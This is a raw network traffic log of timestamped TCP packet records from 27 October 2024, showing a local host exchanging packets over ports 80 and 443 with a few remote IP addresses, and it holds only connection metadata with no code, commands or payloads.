Oct 27, 2024 17:54:44.500396013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.544050932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544095039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544106007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544147968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544161081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544171095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544172049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.544183969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544219017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544229984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.544235945 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.544266939 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.603847980 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.607781887 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.613938093 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.614923954 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.614933014 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.615432978 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.615439892 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.615511894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615533113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615544081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615572929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615581989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615590096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615601063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615618944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615628958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615643024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615649939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615660906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615669966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615678072 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615703106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615715981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615725994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615736008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.615768909 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615784883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.615897894 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.615923882 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.616065979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616116047 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616138935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616152048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616163015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616177082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616188049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616209030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616264105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616274118 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616283894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616297007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616303921 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616307020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616321087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616331100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616336107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616345882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616379023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616390944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616405964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616417885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616432905 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.616434097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616441011 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.616446018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616450071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616457939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616470098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616477966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616481066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.616509914 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616533995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.616821051 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.616830111 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.617017984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617034912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617047071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617058039 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617074013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617082119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617094040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617105007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617110968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617115021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617132902 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617142916 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617145061 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617155075 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617156982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617193937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617213964 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617587090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617604017 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.617604971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617609978 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.617621899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617629051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617652893 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617665052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617677927 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617688894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617700100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617711067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617724895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617743969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617754936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617755890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617782116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617810965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617841005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617851973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617861986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617887020 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617913008 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617939949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617950916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617959976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617971897 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617983103 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.617990971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.617995024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618012905 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618015051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618030071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618036985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618041992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618057013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618094921 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618098974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618113995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618149042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618164062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618175983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618185997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618211031 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618221045 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618227959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618238926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618248940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618267059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618289948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618299961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618310928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618320942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618343115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618350029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618367910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618381977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618390083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618395090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618427992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618453026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618464947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618474960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618485928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618489981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618496895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618527889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618544102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618556023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618594885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618596077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618607044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618618011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618632078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618654966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618695974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618742943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618745089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618757963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618767023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618778944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618784904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618798018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618807077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618809938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618822098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618827105 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618834019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618850946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618853092 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618863106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618874073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618884087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618886948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618897915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618910074 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618921041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618949890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.618951082 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618993998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.618999958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619035959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619124889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619134903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619144917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619174004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619189024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619199991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619210958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619256020 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619292974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619311094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619366884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619379044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619390965 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619400978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619417906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619421005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619421005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619430065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619441986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619465113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619467020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619476080 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619478941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619488955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619498968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619502068 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619510889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619515896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619541883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619564056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.619971991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619982958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.619998932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620011091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620013952 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620028019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620038986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620043993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620054007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620057106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620088100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620090961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620101929 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620105982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620131969 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620151043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620203018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620213032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620223045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620234966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620249033 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620253086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620265007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620275021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620276928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620286942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620296955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620338917 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620347977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620358944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620368958 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620393038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620412111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620507002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620518923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620528936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620538950 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620549917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620560884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620563984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620570898 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620590925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620618105 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620621920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620634079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620645046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620671988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620697975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620815992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620858908 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.620877028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.620915890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.638880014 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.641982079 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.642000914 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.642508984 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.642523050 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.645607948 CET	49972	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.645642042 CET	443	49972	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.645745993 CET	49972	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.645884991 CET	49972	443	192.168.2.5	20.190.159.2
Oct 27, 2024 17:54:44.645901918 CET	443	49972	20.190.159.2	192.168.2.5
Oct 27, 2024 17:54:44.659574986 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.659998894 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.660007954 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.660425901 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.660432100 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.664436102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664449930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664459944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664500952 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.664530039 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.664540052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664554119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664563894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664589882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.664592028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664603949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664616108 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.664616108 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.664650917 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.735860109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735878944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735892057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735903978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735918045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735918999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.735934973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735949993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735955954 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.735960960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735974073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735986948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.735999107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736004114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736040115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736040115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736385107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736397982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736407995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736429930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736443043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736449957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736458063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736463070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736481905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736485958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736495018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736512899 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736530066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736593008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736603022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736622095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736630917 CET	49853	80	192.168.2.5	185.215.113.206
